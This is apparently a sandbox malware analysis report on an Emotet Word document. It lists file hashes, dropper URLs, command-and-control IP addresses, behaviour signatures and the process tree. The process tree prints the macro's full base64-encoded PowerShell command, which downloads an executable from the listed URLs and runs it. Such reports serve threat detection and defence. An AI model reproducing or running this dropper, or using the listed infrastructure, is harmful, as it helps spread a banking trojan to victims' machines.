Overview

overview

10

Static

static

8

emotet_doc2

windows7_x64

10

Analysis

  • max time kernel
    18s
  • max time network
    18s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    28-10-2020 21:03

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    5177894154a2ad0d67c6ea62534a27cdc18b7cfe9c73c8ec6071d72fb8c198a2.doc

  • Size

    224KB

  • MD5

    f87d49246f2654da56ae321bdc8b58d8

  • SHA1

    ef8f3f04dd249fa7dbc737d7d346020ff308f94f

  • SHA256

    5177894154a2ad0d67c6ea62534a27cdc18b7cfe9c73c8ec6071d72fb8c198a2

  • SHA512

    fb02be18f2ea24f0e0a970fd517dddce90c923cbdb3d1e0137031cfe0780741170ff6379dc10c5fd586e3109fa49d95a00a99ef55122b19f1b2ff730675567dc

Score
10/10
emotetepoch3bankertrojan

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://getpranaveda.xyz/wp-admin/yz/
exe.dropper

http://xinhecun.cn/wp-content/VCNbWWDK/
exe.dropper

https://www.apeduti.com.br/wp-includes/XN2wg26v/
exe.dropper

http://heankan.bio/js/Rb/
exe.dropper

https://sheen-vietnam.vn/wp-content/qtg2J6XhZ/
exe.dropper

https://madrushdigital.com/wp-admin/PJi/
exe.dropper

https://lunabituyelik.com/wp-content/fWd0/

Extracted

Family

emotet

Botnet

Epoch3

C2

152.32.75.74:443

91.121.200.35:8080

159.203.16.11:8080

188.226.165.170:8080

172.193.79.237:80

123.216.134.52:80

183.91.3.63:80

139.59.61.215:443

185.80.172.199:80

77.74.78.80:443

153.229.219.1:443

113.203.238.130:80

120.51.34.254:80

116.202.10.123:8080

5.2.246.108:80

50.116.78.109:8080

103.80.51.61:8080

190.55.186.229:80

185.142.236.163:443

223.17.215.76:80
rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
    adwarespyware
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5177894154a2ad0d67c6ea62534a27cdc18b7cfe9c73c8ec6071d72fb8c198a2.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:756
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1052
    • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
      POwersheLL -ENCOD UwBlAHQALQBJAFQARQBtACAAIAB2AEEAUgBJAEEAQgBsAGUAOgBFADMAOABaADYAIAAgACgAIAAgAFsAVABZAHAAZQBdACgAIgB7ADMAfQB7ADAAfQB7ADQAfQB7ADUAfQB7ADEAfQB7ADIAfQAiACAALQBmACAAJwB0AEUATQAnACwAJwBpAHIAJwAsACcARQBDAHQAbwBSAHkAJwAsACcAUwB5AFMAJwAsACcALgBpAG8AJwAsACcALgBEACcAKQApACAAOwBzAGUAVAAtAHYAQQByAGkAYQBCAEwARQAgACAARgBFAEIAOABXACAAIAAoACAAWwBUAHkAUABlAF0AKAAiAHsAMgB9AHsANQB9AHsAMAB9AHsANgB9AHsAMwB9AHsAMQB9AHsANAB9ACIAIAAtAGYAJwBFAE0ALgAnACwAJwBFAFAAbwBJACcALAAnAFMAJwAsACcALgBzAEUAcgBWAEkAYwAnACwAJwBOAFQAbQBhAG4AQQBnAEUAcgAnACwAJwBZAFMAVAAnACwAJwBuAGUAdAAnACkAKQAgACAAOwAkAFgAawBoADUAbQBvAGQAPQAoACgAJwBTAHkAcAAnACsAJwB6AHgAJwApACsAJwB3ACcAKwAnAHIAJwApADsAJABVADgANAB0AHQANwBjAD0AJABVAG0AawBoAHIAbwBzACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABFAHUAXwBhADMAcgA5ADsAJABJAGwAeABpAHkAagBjAD0AKAAoACcARQAzACcAKwAnAGkAJwApACsAJwBuAGwAJwArACcAawB1ACcAKQA7ACAAJABFADMAOAB6ADYAOgA6ACIAYwBgAFIAZQBgAEEAVABgAEUAYABEAEkAUgBFAGMAdABPAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAaAA5AEwAJwArACcARABrAHUAOQAnACsAJwBiACcAKQArACgAJwAxAF8AaAAnACsAJwA5ACcAKQArACcATABBACcAKwAnAGEAJwArACgAJwBwAG4AMQB2AHYAJwArACcAaAA5ACcAKwAnAEwAJwApACkALQBSAEUAcABMAGEAQwBFACgAWwBjAGgAQQByAF0AMQAwADQAKwBbAGMAaABBAHIAXQA1ADcAKwBbAGMAaABBAHIAXQA3ADYAKQAsAFsAYwBoAEEAcgBdADkAMgApACkAOwAkAE8AZwB3AG8AbABvAGEAPQAoACgAJwBVAHkAJwArACcAeAAnACkAKwAoACcANABvACcAKwAnAGQAJwApACsAJwBfACcAKQA7ACAAKAAgAEcAYwBpACAAIABWAEEAcgBJAEEAYgBMAEUAOgBmAEUAQgA4AFcAIAApAC4AdgBhAEwAVQBFADoAOgAiAHMAZQBgAGMAdQBSAGAAaQB0AGAAWQBQAHIATwBUAE8AQwBPAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAxACcAKQArACcAMgAnACkAOwAkAFQAaABtAGwAXwBqAHUAPQAoACgAJwBHAHMAYQB6ACcAKwAnAGcAJwApACsAJwBlACcAKwAnAGkAJwApADsAJABDADUAMgBwAHIAYQBtACAAPQAgACgAKAAnAEEAJwArACcAdgBxACcAKQArACgAJwB2ADcAdAAnACsAJwA4ADkAbAAnACkAKQA7ACQATABhAHcAawBvAGMANAA9ACgAJwBRAGQAJwArACcAMABpACcAKwAoACcAcABsACcAKwAnAHcAJwApACkAOwAkAEQANABuAGwAbAB5AHAAPQAoACcAVQAnACsAKAAnADQAeQAnACsAJwBwACcAKQArACgAJwBuACcAKwAnAGkAbAAnACkAKQA7ACQAWQB1AGwAaAB2AHAAZgA9ACQASABPAE0ARQArACgAKAAoACcAZwAnACsAJwBVADgAJwApACsAKAAnAEQAJwArACcAawB1ACcAKQArACgAJwA5ACcAKwAnAGIAMQBfACcAKwAnAGcAVQA4ACcAKQArACcAQQAnACsAKAAnAGEAcAAnACsAJwBuADEAdgAnACkAKwAoACcAdgBnAFUAJwArACcAOAAnACkAKQAuACIAcgBFAFAAYABMAEEAYABDAEUAIgAoACgAJwBnACcAKwAnAFUAOAAnACkALABbAHMAVABSAEkATgBHAF0AWwBDAGgAQQBSAF0AOQAyACkAKQArACQAQwA1ADIAcAByAGEAbQArACgAKAAnAC4AJwArACcAZQB4ACcAKQArACcAZQAnACkAOwAkAEEANgA1AHUAOABfAGUAPQAoACgAJwBYACcAKwAnAGgAcwBmADkANAAnACkAKwAnAGcAJwApADsAJABOAHUAcAByAHIAbQA4AD0ALgAoACcAbgBlAHcALQAnACsAJwBvAGIAagAnACsAJwBlAGMAdAAnACkAIABOAEUAVAAuAHcAZQBCAGMAbABpAEUATgB0ADsAJABQAGcAYQB0AGgAcgBhAD0AKAAoACcAaAAnACsAKAAnAHQAdABwAHMAJwArACcAOgBdAFsAJwApACsAJwAgACcAKwAoACgAJwAxACkAIAAnACsAJwBqACcAKQApACsAKAAnAGoAJwArACcAawBnACcAKQArACcAUwAnACsAJwAgAFsAJwArACgAKAAnAF0AIABbAF0AdwBdAFsAJwArACcAIAAxACcAKwAnACkAJwArACcAIAAnACkAKQArACcAagAnACsAKAAnAGoAawBnACcAKwAnAFMAIAAnACkAKwAoACcAWwBdACAAWwAnACsAJwBdAHcAJwApACsAKAAnAGcAZQB0AHAAJwArACcAcgBhAG4AYQAnACsAJwB2AGUAZAAnACkAKwAoACcAYQAnACsAJwAuACcAKwAnAHgAeQB6AF0AWwAgACcAKQArACgAKAAnADEAKQAnACkAKQArACgAJwAgAGoAagAnACsAJwBrACcAKQArACcAZwBTACcAKwAnACAAJwArACcAWwAnACsAKAAnAF0AIABbACcAKwAnAF0AJwApACsAKAAnAHcAJwArACcAdwBwAC0AYQBkAG0AaQBuACcAKwAnAF0AJwApACsAJwBbACcAKwAnACAAJwArACgAKAAnADEAKQAgACcAKwAnAGoAagAnACsAJwBrAGcAJwApACkAKwAnAFMAJwArACgAJwAgAFsAJwArACcAXQAgACcAKwAnAFsAXQAnACkAKwAoACcAdwB5AHoAJwArACcAXQAnACkAKwAoACcAWwAnACsAJwAgADEAJwApACsAKAAoACcAKQAnACsAJwAgAGoAJwApACkAKwAoACcAagAnACsAJwBrAGcAUwAgAFsAXQAnACkAKwAoACcAIAAnACsAJwBbAF0AdwAnACkAKwAoACcAQAAnACsAJwBoAHQAdAAnACkAKwAoACcAcAA6ACcAKwAnAF0AJwApACsAKAAnAFsAIAAnACsAJwAxACcAKQArACgAKAAnACkAJwArACcAIABqACcAKQApACsAJwBqAGsAJwArACgAJwBnAFMAJwArACcAIABbAF0AIAAnACkAKwAoACcAWwAnACsAJwBdAHcAXQAnACkAKwAoACgAJwBbACAAMQApACcAKwAnACAAJwArACcAagBqAGsAZwAnACkAKQArACgAJwBTACAAWwBdACcAKwAnACAAWwBdACcAKwAnAHcAeABpAG4AJwArACcAaABlAGMAdQAnACkAKwAnAG4AJwArACgAJwAuAGMAbgBdAFsAJwArACcAIAAnACkAKwAoACgAJwAxACkAIABqAGoAJwArACcAawAnACkAKQArACcAZwBTACcAKwAoACcAIABbACcAKwAnAF0AIABbACcAKwAnAF0AJwApACsAKAAnAHcAdwAnACsAJwBwAC0AYwAnACkAKwAnAG8AbgAnACsAJwB0ACcAKwAoACcAZQAnACsAJwBuAHQAXQBbACAAJwApACsAKAAoACcAMQAnACsAJwApACAAJwApACkAKwAoACcAagBqAGsAZwAnACsAJwBTACAAJwArACcAWwBdACcAKwAnACAAWwBdAHcAVgBDACcAKQArACgAJwBOAGIAJwArACcAVwAnACkAKwAoACcAVwBEACcAKwAnAEsAJwApACsAKAAnAF0AWwAnACsAJwAgACcAKQArACgAKAAnADEAKQAnACkAKQArACgAJwAgACcAKwAnAGoAagBrAGcAJwApACsAKAAnAFMAIABbAF0AJwArACcAIAAnACkAKwAoACcAWwBdAHcAQAAnACsAJwBoACcAKQArACcAdAAnACsAJwB0ACcAKwAoACcAcABzACcAKwAnADoAXQAnACsAJwBbACAAMQAnACkAKwAoACgAJwApACAAagAnACsAJwBqACcAKQApACsAKAAnAGsAZwBTACcAKwAnACAAWwAnACsAJwBdACAAJwApACsAKAAnAFsAJwArACcAXQB3AF0AWwAnACkAKwAnACAAMQAnACsAKAAoACcAKQAgACcAKQApACsAKAAnAGoAagAnACsAJwBrACcAKQArACgAJwBnAFMAIAAnACsAJwBbACcAKQArACgAJwBdACAAJwArACcAWwAnACkAKwAoACcAXQAnACsAJwB3AHcAJwArACcAdwB3AC4AJwArACcAYQBwAGUAZAAnACkAKwAoACcAdQAnACsAJwB0AGkALgAnACsAJwBjAG8AbQAuAGIAcgAnACkAKwAoACcAXQBbACcAKwAnACAAMQAnACkAKwAoACgAJwApACAAagBqAGsAZwBTACAAWwBdACAAWwAnACsAJwBdACcAKwAnAHcAJwApACkAKwAnAHcAJwArACgAJwBwAC0AaQBuACcAKwAnAGMAJwApACsAJwBsACcAKwAoACcAdQBkAGUAJwArACcAcwBdAFsAJwApACsAKAAoACcAIAAxACkAIABqACcAKwAnAGoAawBnAFMAIAAnACsAJwBbACcAKwAnAF0AIAAnACkAKQArACcAWwAnACsAKAAoACcAXQB3AFgATgAyAHcAJwArACcAZwAnACsAJwAyADYAJwArACcAdgBdAFsAJwArACcAIAAxACkAIABqAGoAJwArACcAawAnACsAJwBnAFMAJwApACkAKwAoACcAIABbAF0AIABbACcAKwAnAF0AdwAnACsAJwBAACcAKwAnAGgAdAAnACkAKwAoACgAJwB0ACcAKwAnAHAAOgAnACsAJwBdAFsAIAAxACkAIABqACcAKwAnAGoAJwApACkAKwAoACcAawAnACsAJwBnAFMAJwApACsAKAAnACAAWwAnACsAJwBdACAAJwApACsAJwBbAF0AJwArACgAKAAnAHcAXQBbACAAMQAnACsAJwApACcAKwAnACAAagBqACcAKwAnAGsAZwBTACcAKwAnACAAWwAnACkAKQArACgAJwBdACAAWwAnACsAJwBdAHcAJwApACsAKAAnAGgAJwArACcAZQBhAG4AawBhAG4ALgAnACsAJwBiAGkAbwBdAFsAJwApACsAKAAoACcAIAAnACsAJwAxACkAIABqAGoAJwArACcAawBnACcAKQApACsAKAAnAFMAIAAnACsAJwBbAF0AIABbAF0AdwAnACkAKwAnAGoAcwAnACsAKAAnAF0AJwArACcAWwAgADEAJwApACsAKAAoACcAKQAgACcAKwAnAGoAagBrACcAKQApACsAKAAnAGcAUwAgACcAKwAnAFsAXQAnACsAJwAgAFsAXQB3ACcAKQArACgAJwBSAGIAXQBbACcAKwAnACAAJwArACcAMQAnACkAKwAoACgAJwApACcAKwAnACAAagAnACkAKQArACcAagAnACsAKAAnAGsAZwBTACAAWwBdACAAJwArACcAWwBdACcAKwAnAHcAJwApACsAKAAnAEAAaAB0ACcAKwAnAHQAJwApACsAKAAnAHAAcwA6ACcAKwAnAF0AWwAnACkAKwAnACAAJwArACgAKAAnADEAJwArACcAKQAgAGoAagBrAGcAJwArACcAUwAnACkAKQArACgAJwAgAFsAJwArACcAXQAgAFsAXQAnACsAJwB3ACcAKQArACgAKAAnAF0AWwAgADEAKQAgAGoAJwArACcAagBrACcAKwAnAGcAUwAgACcAKQApACsAKAAnAFsAXQAnACsAJwAgAFsAXQB3AHMAJwArACcAaABlACcAKwAnAGUAbgAnACsAJwAtAHYAaQBlAHQAbgBhAG0AJwArACcALgAnACsAJwB2AG4AJwApACsAKAAnAF0AWwAnACsAJwAgADEAJwApACsAKAAoACcAKQAgACcAKQApACsAKAAnAGoAagAnACsAJwBrACcAKQArACgAJwBnAFMAJwArACcAIABbAF0AJwApACsAKAAnACAAWwBdAHcAJwArACcAdwBwAC0AJwApACsAKAAnAGMAJwArACcAbwBuAHQAZQAnACkAKwAoACcAbgB0ACcAKwAnAF0AWwAnACkAKwAnACAAJwArACgAKAAnADEAKQAnACsAJwAgAGoAagBrAGcAUwAnACkAKQArACcAIABbACcAKwAnAF0AIAAnACsAKAAnAFsAXQAnACsAJwB3AHEAdABnADIAJwArACcASgA2AFgAaAAnACkAKwAoACcAWgBdACcAKwAnAFsAIAAnACkAKwAnADEAJwArACgAKAAnACkAIABqAGoAawAnACsAJwBnAFMAIAAnACkAKQArACgAJwBbACcAKwAnAF0AIABbACcAKwAnAF0AdwBAAGgAdAB0AHAAcwAnACsAJwA6ACcAKQArACgAKAAnAF0AWwAgADEAJwArACcAKQAgAGoAagAnACkAKQArACgAJwBrAGcAJwArACcAUwAnACkAKwAoACgAJwAgAFsAXQAgAFsAJwArACcAXQAnACsAJwB3AF0AWwAgADEAKQAgAGoAagBrACcAKwAnAGcAJwApACkAKwAoACcAUwAgAFsAXQAnACsAJwAgAFsAXQB3AG0AJwArACcAYQBkACcAKQArACgAJwByAHUAJwArACcAcwAnACsAJwBoAGQAaQBnACcAKQArACgAJwBpACcAKwAnAHQAYQBsACcAKQArACgAJwAuAGMAJwArACcAbwBtAF0AJwApACsAKAAoACcAWwAgADEAKQAnACsAJwAgACcAKwAnAGoAagAnACkAKQArACgAJwBrAGcAUwAgAFsAJwArACcAXQAgAFsAXQB3AHcAJwArACcAcAAnACsAJwAtAGEAZABtAGkAbgAnACkAKwAoACgAJwBdAFsAIAAxACkAIABqACcAKwAnAGoAawAnACsAJwBnACcAKQApACsAJwBTACcAKwAnACAAJwArACgAJwBbAF0AJwArACcAIAAnACkAKwAnAFsAJwArACgAJwBdAHcAUAAnACsAJwBKACcAKQArACcAaQBdACcAKwAoACcAWwAgACcAKwAnADEAJwApACsAKAAoACcAKQAgAGoAJwArACcAagAnACkAKQArACcAawBnACcAKwAnAFMAIAAnACsAKAAnAFsAXQAnACsAJwAgACcAKQArACcAWwAnACsAKAAoACcAXQB3AEAAaAB0AHQAJwArACcAcABzADoAXQBbACAAJwArACcAMQApACAAagBqAGsAZwBTACAAWwBdACcAKwAnACAAJwArACcAWwBdAHcAJwArACcAXQBbACAAMQApACcAKQApACsAKAAnACAAagBqACcAKwAnAGsAJwApACsAKAAnAGcAUwAnACsAJwAgAFsAXQAnACkAKwAoACcAIABbAF0AdwAnACsAJwBsACcAKQArACcAdQAnACsAKAAnAG4AYQAnACsAJwBiAGkAdAB1ACcAKQArACgAJwB5ACcAKwAnAGUAbABpAGsALgAnACsAJwBjAG8AbQBdACcAKQArACcAWwAnACsAJwAgACcAKwAnADEAJwArACgAKAAnACkAIAAnACkAKQArACcAagAnACsAKAAnAGoAJwArACcAawBnAFMAIAAnACkAKwAnAFsAXQAnACsAJwAgACcAKwAnAFsAXQAnACsAJwB3ACcAKwAnAHcAJwArACgAJwBwAC0AJwArACcAYwBvAG4AdAAnACkAKwAoACgAJwBlACcAKwAnAG4AdABdAFsAIAAxACkAIABqAGoAawAnACsAJwBnAFMAJwApACkAKwAoACcAIABbACcAKwAnAF0AJwApACsAKAAnACAAWwBdAHcAZgAnACsAJwBXACcAKwAnAGQAMABdACcAKwAnAFsAIAAxACcAKQArACcAKQAnACsAJwAgACcAKwAoACcAagBqACcAKwAnAGsAZwBTACcAKwAnACAAJwApACsAKAAnAFsAXQAgACcAKwAnAFsAXQB3ACcAKQApACkALgAiAHIARQBwAEwAYABBAEMARQAiACgAKAAoACgAKAAnAF0AWwAgADEAJwArACcAKQAgAGoAJwArACcAagBrAGcAUwAnACkAKQArACgAJwAgAFsAJwArACcAXQAnACkAKwAnACAAJwArACcAWwAnACsAJwBdAHcAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAHgAJwArACcAdwBlACcAKQApAFsAMABdACkALgAiAHMAUABgAEwAaQBUACIAKAAkAFoANABuAGQAdgBfADUAIAArACAAJABVADgANAB0AHQANwBjACAAKwAgACQATwA3AHMAdgBwAG4AdwApADsAJABVAHUAaAB1AHMAYwBmAD0AKAAoACcAUgAnACsAJwBxAG8AZABmACcAKQArACcAawA0ACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQATQBpADUAcQBfAGQAbwAgAGkAbgAgACQAUABnAGEAdABoAHIAYQApAHsAdAByAHkAewAkAE4AdQBwAHIAcgBtADgALgAiAEQAbwBgAHcAbgBgAEwAYABPAEEARABmAEkATABlACIAKAAkAE0AaQA1AHEAXwBkAG8ALAAgACQAWQB1AGwAaAB2AHAAZgApADsAJABRAHQAcQB1ADYAaAA1AD0AKAAnAEEAJwArACcAYwAnACsAKAAnAF8AYgAnACsAJwByAHQAcwAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABZAHUAbABoAHYAcABmACkALgAiAGwARQBgAE4ARwB0AGgAIgAgAC0AZwBlACAANAAwADYAOAAzACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAoACcAdwAnACsAKAAnAGkAbgAzADIAJwArACcAXwAnACkAKwAoACcAUAByAG8AYwAnACsAJwBlACcAKwAnAHMAJwApACsAJwBzACcAKQApAC4AIgBDAFIARQBhAGAAVABlACIAKAAkAFkAdQBsAGgAdgBwAGYAKQA7ACQAQwBtAG8AdgB3AHkAOAA9ACgAJwBGAHAAJwArACgAJwBlAHcAJwArACcAMQAnACkAKwAnAHcAawAnACkAOwBiAHIAZQBhAGsAOwAkAE4AMAA4ADkAYwB1AHYAPQAoACcARgAnACsAKAAnAHQAcQBjAGUAJwArACcAegAnACkAKwAnAGYAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABXAHQAYgA5AG8AcABhAD0AKAAnAE4AJwArACgAJwA5ACcAKwAnAHgANAAxAHAAbAAnACkAKQA=
      1⤵
      • Process spawned unexpected child process
      • Blacklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:624
    • C:\Users\Admin\Dku9b1_\Aapn1vv\Avqv7t89l.exe
      C:\Users\Admin\Dku9b1_\Aapn1vv\Avqv7t89l.exe
      1⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:1708
      • C:\Windows\SysWOW64\WPDSp\timeout.exe
        "C:\Windows\SysWOW64\WPDSp\timeout.exe"
        2⤵
        • Executes dropped EXE
        • Delays execution with timeout.exe
        • Suspicious behavior: EnumeratesProcesses
        PID:896

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Initial Access

    Execution

    Persistence

    Privilege Escalation

    Defense Evasion

    Modify Registry

    1
    T1112

    Credential Access

    Discovery

    Lateral Movement

    Collection

    Exfiltration

    Command and Control

    Impact

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\Dku9b1_\Aapn1vv\Avqv7t89l.exe
      MD5

      3251f9c9a23d5979db7894ae67ba43c5

      SHA1

      46bc0900cd636574db1f8e8a4dd83475a130d1a5

      SHA256

      277527cd5795b0441e835de542a3c8a7aa9f6c9a5b134b617d49088c0a0f8e99

      SHA512

      600cb829a8e023499eab355babdff19ef9890d9808c834f895784b3fc175ba920e10a3e811fb839378fbfe8baf36d81d91c49309f17e2b740b915dd731164246

      Download Submit
    • C:\Users\Admin\Dku9b1_\Aapn1vv\Avqv7t89l.exe
      MD5

      3251f9c9a23d5979db7894ae67ba43c5

      SHA1

      46bc0900cd636574db1f8e8a4dd83475a130d1a5

      SHA256

      277527cd5795b0441e835de542a3c8a7aa9f6c9a5b134b617d49088c0a0f8e99

      SHA512

      600cb829a8e023499eab355babdff19ef9890d9808c834f895784b3fc175ba920e10a3e811fb839378fbfe8baf36d81d91c49309f17e2b740b915dd731164246

      Download Submit
    • C:\Windows\SysWOW64\WPDSp\timeout.exe
      MD5

      3251f9c9a23d5979db7894ae67ba43c5

      SHA1

      46bc0900cd636574db1f8e8a4dd83475a130d1a5

      SHA256

      277527cd5795b0441e835de542a3c8a7aa9f6c9a5b134b617d49088c0a0f8e99

      SHA512

      600cb829a8e023499eab355babdff19ef9890d9808c834f895784b3fc175ba920e10a3e811fb839378fbfe8baf36d81d91c49309f17e2b740b915dd731164246

      Download Submit
    • memory/624-8-0x000000001AA70000-0x000000001AA71000-memory.dmp
      Filesize

      4KB

      Download
    • memory/624-5-0x000000001AB90000-0x000000001AB91000-memory.dmp
      Filesize

      4KB

      Download
    • memory/624-6-0x00000000023D0000-0x00000000023D1000-memory.dmp
      Filesize

      4KB

      Download
    • memory/624-7-0x0000000002570000-0x0000000002571000-memory.dmp
      Filesize

      4KB

      Download
    • memory/624-9-0x000000001B7C0000-0x000000001B7C1000-memory.dmp
      Filesize

      4KB

      Download
    • memory/624-4-0x00000000021F0000-0x00000000021F1000-memory.dmp
      Filesize

      4KB

      Download
    • memory/624-3-0x000007FEF5BE0000-0x000007FEF65CC000-memory.dmp
      Filesize

      9.9MB

      Download
    • memory/756-1-0x0000000006250000-0x0000000006254000-memory.dmp
      Filesize

      16KB

      Download
    • memory/756-0-0x0000000000577000-0x000000000057C000-memory.dmp
      Filesize

      20KB

      Download
    • memory/756-2-0x000000000057C000-0x0000000000580000-memory.dmp
      Filesize

      16KB

      Download
    • memory/896-18-0x0000000001EE0000-0x0000000001F22000-memory.dmp
      Filesize

      264KB

      Download
    • memory/896-17-0x0000000001E60000-0x0000000001EA3000-memory.dmp
      Filesize

      268KB

      Download
    • memory/896-15-0x0000000000000000-mapping.dmp
      Download
    • memory/1052-10-0x0000000000000000-mapping.dmp
      Download
    • memory/1708-13-0x00000000004C0000-0x0000000000502000-memory.dmp
      Filesize

      264KB

      Download
    • memory/1708-12-0x0000000000470000-0x00000000004B3000-memory.dmp
      Filesize

      268KB

      Download